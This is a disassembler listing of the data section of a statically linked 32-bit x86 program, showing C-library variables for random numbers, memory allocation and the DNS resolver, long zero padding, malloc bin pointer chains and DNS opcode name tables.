dword_8078950	dd 80788E0h		; DATA XREF: __srandom+1E7w
					; sub_8055D38+D4w ...
dword_8078954	dd 80788D4h		; DATA XREF: __srandom+1F1w
					; sub_8055BBC+32r ...
dword_8078958	dd 80788D4h		; DATA XREF: __srandom+9r
					; __srandom+2Er ...
dword_807895C	dd 3			; DATA XREF: __srandom+10r
					; sub_8055BBC+15r ...
dword_8078960	dd 1Fh			; DATA XREF: __srandom+22r
					; __srandom+34r ...
dword_8078964	dd 3			; DATA XREF: __srandom+1D4r
					; sub_8055BBC+78w ...
dword_8078968	dd 8078950h		; DATA XREF: sub_8055BBC+131w
					; sub_8055D38+ECw ...
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
dword_8078AF4	dd 807896Ch		; DATA XREF: __new_exitfn+3r
					; __new_exitfn+48r ...
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
dword_8078AFC	dd 0			; DATA XREF: strtok+10r strtok+28r ...
aUnknownErrorD	db 'Unknown error %d',0 ; DATA XREF: sub_8056E14+1Do
		db 3 dup(0)
__errno		dd 0			; DATA XREF: setenv+D2w res_search+4Cw ...
__fpu_control	dw 0			; DATA XREF: start+2Fr
		db 2 dup(0)
dword_8078B1C	dd 8068EA4h		; DATA XREF: sub_805A11C+6w
					; sub_805A11C+5Ew ...
dword_8078B20	dd 8068EA4h		; DATA XREF: sub_805A11C+10w
dword_8078B24	dd 0			; DATA XREF: sub_805A11C+24w
					; sub_805A11C+81w ...
dword_8078B28	dd 0			; DATA XREF: sub_805A11C+1Aw
					; sub_805A11C+6Aw ...
dword_8078B2C	dd 0			; DATA XREF: sub_805A11C+2Ew
					; sub_805A11C+90w ...
dword_8078B30	dd 8065DE0h		; DATA XREF: sub_805BBF4+40r
					; sub_805BBF4+D1r ...
dword_8078B34	dd 0			; DATA XREF: sub_805BBF4+58o
					; sub_805BBF4+FAo ...
dword_8078B38	dd 8078B34h		; DATA XREF: sub_805BBF4+9r
					; sub_805BBF4+72r ...
dword_8078B3C	dd 8078B34h		; DATA XREF: malloc+39r malloc+177o ...
dword_8078B40	dd 8078B3Ch		; DATA XREF: malloc+171r malloc+1A7w ...
dword_8078B44	dd 8078B3Ch		; DATA XREF: malloc+4Br malloc+1A2w ...
		dd offset dword_8078B44
off_8078B4C	dd offset dword_8078B44	; DATA XREF: .data:08078B50o
					; .data:08078B54o
		dd offset off_8078B4C
off_8078B54	dd offset off_8078B4C	; DATA XREF: .data:08078B58o
					; .data:08078B5Co
		dd offset off_8078B54
off_8078B5C	dd offset off_8078B54	; DATA XREF: .data:08078B60o
					; .data:08078B64o
		dd offset off_8078B5C
off_8078B64	dd offset off_8078B5C	; DATA XREF: .data:08078B68o
					; .data:08078B6Co
		dd offset off_8078B64
off_8078B6C	dd offset off_8078B64	; DATA XREF: .data:08078B70o
					; .data:08078B74o
		dd offset off_8078B6C
off_8078B74	dd offset off_8078B6C	; DATA XREF: .data:08078B78o
					; .data:08078B7Co
		dd offset off_8078B74
off_8078B7C	dd offset off_8078B74	; DATA XREF: .data:08078B80o
					; .data:08078B84o
		dd offset off_8078B7C
off_8078B84	dd offset off_8078B7C	; DATA XREF: .data:08078B88o
					; .data:08078B8Co
		dd offset off_8078B84
off_8078B8C	dd offset off_8078B84	; DATA XREF: .data:08078B90o
					; .data:08078B94o
		dd offset off_8078B8C
off_8078B94	dd offset off_8078B8C	; DATA XREF: .data:08078B98o
					; .data:08078B9Co
		dd offset off_8078B94
off_8078B9C	dd offset off_8078B94	; DATA XREF: .data:08078BA0o
					; .data:08078BA4o
		dd offset off_8078B9C
off_8078BA4	dd offset off_8078B9C	; DATA XREF: .data:08078BA8o
					; .data:08078BACo
		dd offset off_8078BA4
off_8078BAC	dd offset off_8078BA4	; DATA XREF: .data:08078BB0o
					; .data:08078BB4o
		dd offset off_8078BAC
off_8078BB4	dd offset off_8078BAC	; DATA XREF: .data:08078BB8o
					; .data:08078BBCo
		dd offset off_8078BB4
off_8078BBC	dd offset off_8078BB4	; DATA XREF: .data:08078BC0o
					; .data:08078BC4o
		dd offset off_8078BBC
off_8078BC4	dd offset off_8078BBC	; DATA XREF: .data:08078BC8o
					; .data:08078BCCo
		dd offset off_8078BC4
off_8078BCC	dd offset off_8078BC4	; DATA XREF: .data:08078BD0o
					; .data:08078BD4o
		dd offset off_8078BCC
off_8078BD4	dd offset off_8078BCC	; DATA XREF: .data:08078BD8o
					; .data:08078BDCo
		dd offset off_8078BD4
off_8078BDC	dd offset off_8078BD4	; DATA XREF: .data:08078BE0o
					; .data:08078BE4o
		dd offset off_8078BDC
off_8078BE4	dd offset off_8078BDC	; DATA XREF: .data:08078BE8o
					; .data:08078BECo
		dd offset off_8078BE4
off_8078BEC	dd offset off_8078BE4	; DATA XREF: .data:08078BF0o
					; .data:08078BF4o
		dd offset off_8078BEC
off_8078BF4	dd offset off_8078BEC	; DATA XREF: .data:08078BF8o
					; .data:08078BFCo
		dd offset off_8078BF4
off_8078BFC	dd offset off_8078BF4	; DATA XREF: .data:08078C00o
					; .data:08078C04o
		dd offset off_8078BFC
off_8078C04	dd offset off_8078BFC	; DATA XREF: .data:08078C08o
					; .data:08078C0Co
		dd offset off_8078C04
off_8078C0C	dd offset off_8078C04	; DATA XREF: .data:08078C10o
					; .data:08078C14o
		dd offset off_8078C0C
off_8078C14	dd offset off_8078C0C	; DATA XREF: .data:08078C18o
					; .data:08078C1Co
		dd offset off_8078C14
off_8078C1C	dd offset off_8078C14	; DATA XREF: .data:08078C20o
					; .data:08078C24o
		dd offset off_8078C1C
off_8078C24	dd offset off_8078C1C	; DATA XREF: .data:08078C28o
					; .data:08078C2Co
		dd offset off_8078C24
off_8078C2C	dd offset off_8078C24	; DATA XREF: .data:08078C30o
					; .data:08078C34o
		dd offset off_8078C2C
off_8078C34	dd offset off_8078C2C	; DATA XREF: .data:08078C38o
					; .data:08078C3Co
		dd offset off_8078C34
off_8078C3C	dd offset off_8078C34	; DATA XREF: .data:08078C40o
					; .data:08078C44o
		dd offset off_8078C3C
off_8078C44	dd offset off_8078C3C	; DATA XREF: .data:08078C48o
					; .data:08078C4Co
		dd offset off_8078C44
off_8078C4C	dd offset off_8078C44	; DATA XREF: .data:08078C50o
					; .data:08078C54o
		dd offset off_8078C4C
off_8078C54	dd offset off_8078C4C	; DATA XREF: .data:08078C58o
					; .data:08078C5Co
		dd offset off_8078C54
off_8078C5C	dd offset off_8078C54	; DATA XREF: .data:08078C60o
					; .data:08078C64o
		dd offset off_8078C5C
off_8078C64	dd offset off_8078C5C	; DATA XREF: .data:08078C68o
					; .data:08078C6Co
		dd offset off_8078C64
off_8078C6C	dd offset off_8078C64	; DATA XREF: .data:08078C70o
					; .data:08078C74o
		dd offset off_8078C6C
off_8078C74	dd offset off_8078C6C	; DATA XREF: .data:08078C78o
					; .data:08078C7Co
		dd offset off_8078C74
off_8078C7C	dd offset off_8078C74	; DATA XREF: .data:08078C80o
					; .data:08078C84o
		dd offset off_8078C7C
off_8078C84	dd offset off_8078C7C	; DATA XREF: .data:08078C88o
					; .data:08078C8Co
		dd offset off_8078C84
off_8078C8C	dd offset off_8078C84	; DATA XREF: .data:08078C90o
					; .data:08078C94o
		dd offset off_8078C8C
off_8078C94	dd offset off_8078C8C	; DATA XREF: .data:08078C98o
					; .data:08078C9Co
		dd offset off_8078C94
off_8078C9C	dd offset off_8078C94	; DATA XREF: .data:08078CA0o
					; .data:08078CA4o
		dd offset off_8078C9C
off_8078CA4	dd offset off_8078C9C	; DATA XREF: .data:08078CA8o
					; .data:08078CACo
		dd offset off_8078CA4
off_8078CAC	dd offset off_8078CA4	; DATA XREF: .data:08078CB0o
					; .data:08078CB4o
		dd offset off_8078CAC
off_8078CB4	dd offset off_8078CAC	; DATA XREF: .data:08078CB8o
					; .data:08078CBCo
		dd offset off_8078CB4
off_8078CBC	dd offset off_8078CB4	; DATA XREF: .data:08078CC0o
					; .data:08078CC4o
		dd offset off_8078CBC
off_8078CC4	dd offset off_8078CBC	; DATA XREF: .data:08078CC8o
					; .data:08078CCCo
		dd offset off_8078CC4
off_8078CCC	dd offset off_8078CC4	; DATA XREF: .data:08078CD0o
					; .data:08078CD4o
		dd offset off_8078CCC
off_8078CD4	dd offset off_8078CCC	; DATA XREF: .data:08078CD8o
					; .data:08078CDCo
		dd offset off_8078CD4
off_8078CDC	dd offset off_8078CD4	; DATA XREF: .data:08078CE0o
					; .data:08078CE4o
		dd offset off_8078CDC
off_8078CE4	dd offset off_8078CDC	; DATA XREF: .data:08078CE8o
					; .data:08078CECo
		dd offset off_8078CE4
off_8078CEC	dd offset off_8078CE4	; DATA XREF: .data:08078CF0o
					; .data:08078CF4o
		dd offset off_8078CEC
off_8078CF4	dd offset off_8078CEC	; DATA XREF: .data:08078CF8o
					; .data:08078CFCo
		dd offset off_8078CF4
off_8078CFC	dd offset off_8078CF4	; DATA XREF: .data:08078D00o
					; .data:08078D04o
		dd offset off_8078CFC
off_8078D04	dd offset off_8078CFC	; DATA XREF: .data:08078D08o
					; .data:08078D0Co
		dd offset off_8078D04
off_8078D0C	dd offset off_8078D04	; DATA XREF: .data:08078D10o
					; .data:08078D14o
		dd offset off_8078D0C
off_8078D14	dd offset off_8078D0C	; DATA XREF: .data:08078D18o
					; .data:08078D1Co
		dd offset off_8078D14
off_8078D1C	dd offset off_8078D14	; DATA XREF: .data:08078D20o
					; .data:08078D24o
		dd offset off_8078D1C
off_8078D24	dd offset off_8078D1C	; DATA XREF: .data:08078D28o
					; .data:08078D2Co
		dd offset off_8078D24
off_8078D2C	dd offset off_8078D24	; DATA XREF: .data:08078D30o
					; .data:08078D34o
		dd offset off_8078D2C
off_8078D34	dd offset off_8078D2C	; DATA XREF: .data:08078D38o
					; .data:08078D3Co
		dd offset off_8078D34
off_8078D3C	dd offset off_8078D34	; DATA XREF: .data:08078D40o
					; .data:08078D44o
		dd offset off_8078D3C
off_8078D44	dd offset off_8078D3C	; DATA XREF: .data:08078D48o
					; .data:08078D4Co
		dd offset off_8078D44
off_8078D4C	dd offset off_8078D44	; DATA XREF: .data:08078D50o
					; .data:08078D54o
		dd offset off_8078D4C
off_8078D54	dd offset off_8078D4C	; DATA XREF: .data:08078D58o
					; .data:08078D5Co
		dd offset off_8078D54
off_8078D5C	dd offset off_8078D54	; DATA XREF: .data:08078D60o
					; .data:08078D64o
		dd offset off_8078D5C
off_8078D64	dd offset off_8078D5C	; DATA XREF: .data:08078D68o
					; .data:08078D6Co
		dd offset off_8078D64
off_8078D6C	dd offset off_8078D64	; DATA XREF: .data:08078D70o
					; .data:08078D74o
		dd offset off_8078D6C
off_8078D74	dd offset off_8078D6C	; DATA XREF: .data:08078D78o
					; .data:08078D7Co
		dd offset off_8078D74
off_8078D7C	dd offset off_8078D74	; DATA XREF: .data:08078D80o
					; .data:08078D84o
		dd offset off_8078D7C
off_8078D84	dd offset off_8078D7C	; DATA XREF: .data:08078D88o
					; .data:08078D8Co
		dd offset off_8078D84
off_8078D8C	dd offset off_8078D84	; DATA XREF: .data:08078D90o
					; .data:08078D94o
		dd offset off_8078D8C
off_8078D94	dd offset off_8078D8C	; DATA XREF: .data:08078D98o
					; .data:08078D9Co
		dd offset off_8078D94
off_8078D9C	dd offset off_8078D94	; DATA XREF: .data:08078DA0o
					; .data:08078DA4o
		dd offset off_8078D9C
off_8078DA4	dd offset off_8078D9C	; DATA XREF: .data:08078DA8o
					; .data:08078DACo
		dd offset off_8078DA4
off_8078DAC	dd offset off_8078DA4	; DATA XREF: .data:08078DB0o
					; .data:08078DB4o
		dd offset off_8078DAC
off_8078DB4	dd offset off_8078DAC	; DATA XREF: .data:08078DB8o
					; .data:08078DBCo
		dd offset off_8078DB4
off_8078DBC	dd offset off_8078DB4	; DATA XREF: .data:08078DC0o
					; .data:08078DC4o
		dd offset off_8078DBC
off_8078DC4	dd offset off_8078DBC	; DATA XREF: .data:08078DC8o
					; .data:08078DCCo
		dd offset off_8078DC4
off_8078DCC	dd offset off_8078DC4	; DATA XREF: .data:08078DD0o
					; .data:08078DD4o
		dd offset off_8078DCC
off_8078DD4	dd offset off_8078DCC	; DATA XREF: .data:08078DD8o
					; .data:08078DDCo
		dd offset off_8078DD4
off_8078DDC	dd offset off_8078DD4	; DATA XREF: .data:08078DE0o
					; .data:08078DE4o
		dd offset off_8078DDC
off_8078DE4	dd offset off_8078DDC	; DATA XREF: .data:08078DE8o
					; .data:08078DECo
		dd offset off_8078DE4
off_8078DEC	dd offset off_8078DE4	; DATA XREF: .data:08078DF0o
					; .data:08078DF4o
		dd offset off_8078DEC
off_8078DF4	dd offset off_8078DEC	; DATA XREF: .data:08078DF8o
					; .data:08078DFCo
		dd offset off_8078DF4
off_8078DFC	dd offset off_8078DF4	; DATA XREF: .data:08078E00o
					; .data:08078E04o
		dd offset off_8078DFC
off_8078E04	dd offset off_8078DFC	; DATA XREF: .data:08078E08o
					; .data:08078E0Co
		dd offset off_8078E04
off_8078E0C	dd offset off_8078E04	; DATA XREF: .data:08078E10o
					; .data:08078E14o
		dd offset off_8078E0C
off_8078E14	dd offset off_8078E0C	; DATA XREF: .data:08078E18o
					; .data:08078E1Co
		dd offset off_8078E14
off_8078E1C	dd offset off_8078E14	; DATA XREF: .data:08078E20o
					; .data:08078E24o
		dd offset off_8078E1C
off_8078E24	dd offset off_8078E1C	; DATA XREF: .data:08078E28o
					; .data:08078E2Co
		dd offset off_8078E24
off_8078E2C	dd offset off_8078E24	; DATA XREF: .data:08078E30o
					; .data:08078E34o
		dd offset off_8078E2C
off_8078E34	dd offset off_8078E2C	; DATA XREF: .data:08078E38o
					; .data:08078E3Co
		dd offset off_8078E34
off_8078E3C	dd offset off_8078E34	; DATA XREF: .data:08078E40o
					; .data:08078E44o
		dd offset off_8078E3C
off_8078E44	dd offset off_8078E3C	; DATA XREF: .data:08078E48o
					; .data:08078E4Co
		dd offset off_8078E44
off_8078E4C	dd offset off_8078E44	; DATA XREF: .data:08078E50o
					; .data:08078E54o
		dd offset off_8078E4C
off_8078E54	dd offset off_8078E4C	; DATA XREF: .data:08078E58o
					; .data:08078E5Co
		dd offset off_8078E54
off_8078E5C	dd offset off_8078E54	; DATA XREF: .data:08078E60o
					; .data:08078E64o
		dd offset off_8078E5C
off_8078E64	dd offset off_8078E5C	; DATA XREF: .data:08078E68o
					; .data:08078E6Co
		dd offset off_8078E64
off_8078E6C	dd offset off_8078E64	; DATA XREF: .data:08078E70o
					; .data:08078E74o
		dd offset off_8078E6C
off_8078E74	dd offset off_8078E6C	; DATA XREF: .data:08078E78o
					; .data:08078E7Co
		dd offset off_8078E74
off_8078E7C	dd offset off_8078E74	; DATA XREF: .data:08078E80o
					; .data:08078E84o
		dd offset off_8078E7C
off_8078E84	dd offset off_8078E7C	; DATA XREF: .data:08078E88o
					; .data:08078E8Co
		dd offset off_8078E84
off_8078E8C	dd offset off_8078E84	; DATA XREF: .data:08078E90o
					; .data:08078E94o
		dd offset off_8078E8C
off_8078E94	dd offset off_8078E8C	; DATA XREF: .data:08078E98o
					; .data:08078E9Co
		dd offset off_8078E94
off_8078E9C	dd offset off_8078E94	; DATA XREF: .data:08078EA0o
					; .data:08078EA4o
		dd offset off_8078E9C
off_8078EA4	dd offset off_8078E9C	; DATA XREF: .data:08078EA8o
					; .data:08078EACo
		dd offset off_8078EA4
off_8078EAC	dd offset off_8078EA4	; DATA XREF: .data:08078EB0o
					; .data:08078EB4o
		dd offset off_8078EAC
off_8078EB4	dd offset off_8078EAC	; DATA XREF: .data:08078EB8o
					; .data:08078EBCo
		dd offset off_8078EB4
off_8078EBC	dd offset off_8078EB4	; DATA XREF: .data:08078EC0o
					; .data:08078EC4o
		dd offset off_8078EBC
off_8078EC4	dd offset off_8078EBC	; DATA XREF: .data:08078EC8o
					; .data:08078ECCo
		dd offset off_8078EC4
off_8078ECC	dd offset off_8078EC4	; DATA XREF: .data:08078ED0o
					; .data:08078ED4o
		dd offset off_8078ECC
off_8078ED4	dd offset off_8078ECC	; DATA XREF: .data:08078ED8o
					; .data:08078EDCo
		dd offset off_8078ED4
off_8078EDC	dd offset off_8078ED4	; DATA XREF: .data:08078EE0o
					; .data:08078EE4o
		dd offset off_8078EDC
off_8078EE4	dd offset off_8078EDC	; DATA XREF: .data:08078EE8o
					; .data:08078EECo
		dd offset off_8078EE4
off_8078EEC	dd offset off_8078EE4	; DATA XREF: .data:08078EF0o
					; .data:08078EF4o
		dd offset off_8078EEC
off_8078EF4	dd offset off_8078EEC	; DATA XREF: .data:08078EF8o
					; .data:08078EFCo
		dd offset off_8078EF4
off_8078EFC	dd offset off_8078EF4	; DATA XREF: .data:08078F00o
					; .data:08078F04o
		dd offset off_8078EFC
off_8078F04	dd offset off_8078EFC	; DATA XREF: .data:08078F08o
					; .data:08078F0Co
		dd offset off_8078F04
off_8078F0C	dd offset off_8078F04	; DATA XREF: .data:08078F10o
					; .data:08078F14o
		dd offset off_8078F0C
off_8078F14	dd offset off_8078F0C	; DATA XREF: .data:08078F18o
					; .data:08078F1Co
		dd offset off_8078F14
off_8078F1C	dd offset off_8078F14	; DATA XREF: .data:08078F20o
					; .data:08078F24o
		dd offset off_8078F1C
off_8078F24	dd offset off_8078F1C	; DATA XREF: .data:08078F28o
					; .data:08078F2Co
		dd offset off_8078F24
off_8078F2C	dd offset off_8078F24	; DATA XREF: .data:08078F30o
					; .data:08078F34o
		dd offset off_8078F2C
off_8078F34	dd offset off_8078F2C	; DATA XREF: sub_805CA24+95o
					; sub_805CA24+132o
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
dword_8078F3C	dd 20000h		; DATA XREF: free+70r sub_805CC44+22w
dword_8078F40	dd 0			; DATA XREF: sub_805BBF4+21r free+7Cr	...
dword_8078F44	dd 40h			; DATA XREF: sub_805BA88+17r
					; sub_805CC44+54w
dword_8078F48	dd 20000h		; DATA XREF: malloc+43Dr
					; sub_805CC44+44w
dword_8078F4C	dd 0FFFFFFFFh		; DATA XREF: sub_805BBF4+2Ar
					; sub_805BBF4+84r ...
dword_8078F50	dd 0			; DATA XREF: sub_805BBF4+150r
					; sub_805BBF4+158w
dword_8078F54	dd 0			; DATA XREF: sub_805BA88+91r
					; sub_805BA88+99w ...
dword_8078F58	dd 0			; DATA XREF: sub_805BA88+8Br
					; sub_805BB64+6Fr ...
dword_8078F5C	dd 0			; DATA XREF: sub_805CA24+13Ew
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
dword_8078F64	dd 0			; DATA XREF: sub_805CA24+15Dw
dword_8078F68	dd 0			; DATA XREF: sub_805CA24+167w
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
dword_8078F74	dd 0			; DATA XREF: sub_805CA24+14Cw
					; sub_805CBA8+38r
dword_8078F78	dd 0			; DATA XREF: sub_805CA24+152w
dword_8078F7C	dd 0			; DATA XREF: sub_805CA24+175w
dword_8078F80	dd 0			; DATA XREF: sub_805BA88+12r
					; sub_805BA88+44w ...
dword_8078F84	dd 0			; DATA XREF: sub_805BA88+50r
					; sub_805BA88+58w ...
dword_8078F88	dd 0			; DATA XREF: sub_805BA88+6Er
					; sub_805BA88+74w ...
dword_8078F8C	dd 0			; DATA XREF: sub_805BA88+79r
					; sub_805BA88+81w ...
		dd offset aYplib_cV2_6199 ; "yplib.c,v 2.6 1994/05/27 14:34:43 swen "...
dword_8078F94	dd 0FFFFFFFFh		; DATA XREF: sub_805CE84+21r
					; sub_805CE84+2Ar ...
dword_8078F98	dd 0			; DATA XREF: sub_805E110+A0r
					; sub_805E110+BBr ...
dword_8078F9C	dd 0			; DATA XREF: init_services_resolv+198r
					; init_services_resolv+2A1r ...
dword_8078FA0	dd 8069BC0h		; DATA XREF: init_services_resolv+DBr
					; init_services_resolv+153r ...
dword_8078FA4	dd 806A5C2h		; DATA XREF: sub_804D458+16r
					; sub_8053310+10E1r ...
dword_8078FA8	dd 8069FC1h		; DATA XREF: sub_8056064+E2r
					; sub_8056064+FFr ...
dword_8078FAC	dd 80699BFh		; DATA XREF: sub_805F1DC+82r
		dd offset aIquery	; "IQUERY"
		dd offset aCquerym	; "CQUERYM"
		dd offset aCqueryu	; "CQUERYU"
		dd offset aNotify	; "NOTIFY"
		dd offset a8765+6
		dd offset a8765+4
		dd offset a8765+2
		dd offset a8765		; "8765"
		dd offset aUpdatea	; "UPDATEA"
		dd offset aUpdated	; "UPDATED"
		dd offset aUpdateda	; "UPDATEDA"
		dd offset aUpdatem	; "UPDATEM"
		dd offset aUpdatema	; "UPDATEMA"
		dd offset aZoneinit	; "ZONEINIT"
		dd offset aZoneref	; "ZONEREF"
dword_8078FEC	dd 8069A08h		; DATA XREF: sub_805F1DC+71r
		dd offset aFormerr	; "FORMERR"
		dd offset aServfail	; "SERVFAIL"
		dd offset aNxdomain	; "NXDOMAIN"
		dd offset aNotimp	; "NOTIMP"
		dd offset aRefused	; "REFUSED"
		dd offset a8765+4
		dd offset a8765+2
		dd offset a8765		; "8765"
		dd offset a9		; "9"
		dd offset a10		; "10"
		dd offset a11		; "11"
		dd offset a12		; "12"
		dd offset a13		; "13"
		dd offset a14		; "14"
		dd offset aNochange	; "NOCHANGE"
unk_807902C	db    0	;		; DATA XREF: fopen+28o
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0DCh	; э
		db  0Dh	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  18h	;  
		db  11h	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  6Ch	; l
		db  10h	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Ch	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B8h	; ╦
		db  23h	; #
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  64h	; d
		db  15h	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  4Ch	; L
		db  1Dh	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  78h	; x
		db  12h	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C8h	; х
		db  1Eh	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  60h	; `
		db  0Fh	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  10h	;  
		db  12h	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Ch	;  
		db  6Bh	; k
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  8Ch	; ▄
		db  14h	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  10h	;  
		db  15h	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C4h	; д
		db  14h	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0FCh	; Э
		db  14h	;  
		db    6	;  
		db    8	;  
		db    0	;  
